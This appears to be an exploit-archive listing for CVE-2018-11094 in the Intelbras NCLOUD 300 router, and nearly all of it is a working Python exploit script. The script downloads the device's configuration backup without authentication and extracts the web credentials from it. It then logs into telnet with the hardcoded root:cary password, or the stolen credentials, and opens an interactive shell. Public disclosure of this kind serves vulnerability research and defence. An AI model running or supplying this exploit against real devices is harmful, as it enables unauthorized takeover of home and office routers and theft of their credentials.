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Intelbras NCLOUD 300 1.0 Authentication Bypass

Intelbras NCLOUD 300 1.0 Authentication Bypass
Posted May 17, 2018
Authored by Pedro Aguiar

Intelbras NCLOUD 300 version 1.0 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2018-11094
MD5 | 388ac8e1c27e9c1b841bbf975ca1481a

Intelbras NCLOUD 300 1.0 Authentication Bypass

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# coding: utf-8
# Exploit Title: Intelbras NCloud Authentication bypass
# Date: 16/05/2018
# Exploit Author: Pedro Aguiar - pedro.aguiar@kryptus.com
# Vendor Homepage: http://www.intelbras.com.br/
# Software Link: http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/roteadores/ncloud
# Version: 1.0
# Tested on: Linux
# CVE : CVE-2018-11094
# Description: As described here: https://blog.kos-lab.com/Hello-World/ the Ncloud 300 device does not properly
# enforce authentication, allowing an attacker to remotely download the configurations backup ('/cgi-bin/ExportSettings.sh').
# The configurations backup file contains the web interface username and password.
# Also, there are hardcoded credentials in the telnet service (root:cary), in cases where root user does not exist,
# it was replaced by the web interface credentials. This exploit downloads the backup file and tries to use the credentials
# to log into the device using telnet.

import sys
import requests
import telnetlib
import re

def help():
print 'Usage: '
print 'python exploit.py http://192.168.0.1'

def pop_shell(host, user, password):
if(user == "root"):
print '[+] Trying default credentials: root:cary'
else:
print '[+] Trying credentials obtained from /cgi-bin/ExportSettings.sh'
with open('NCLOUD_config.dat', "r") as f:
content = f.read()
user = content.split("Login=")[1].split("\n")[0]
password = content.split("Password=")[1].split("\n")[0]
#print 'User: '+ user
#print 'Password: '+ password
f.close()
try:
ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', host)[0]
tn = telnetlib.Telnet(ip, 23, timeout=10)
tn.expect(["WORKGROUP login:"], 5)
tn.write(user + "\r\n")
tn.expect(["Password:"], 5)
tn.write(password + "\r\n")
i = tn.expect(["Login incorrect"], 5)
if i[0] != -1:
raise ValueError('[-] Wrong credential')
tn.write("cat /proc/cpuinfo\r\n")
tn.interact()

tn.close()
except Exception as e:
print e
if(user == "root"):
pop_shell(host, 'try', 'again')

def exploit(host):
print '[*] Connecting to %s' %host
path = '/cgi-bin/ExportSettings.sh'
payload = 'Export=Salvar'

response = requests.post(host + path, data=payload)
response.raise_for_status()

if(response.status_code == 200 and "Login=" in response.text):
print '[+] Config download was successful'
print '[+] Saving backup file to NCLOUD_config.dat'
with open('NCLOUD_config.dat', "w") as f:
f.write(response.text)
f.close()
pop_shell(host, "root", "cary")
def main():
if len(sys.argv) < 2 or not sys.argv[1].startswith('http://'):
help()
return
host = sys.argv[1]
exploit(host)

if __name__ == '__main__':
main()

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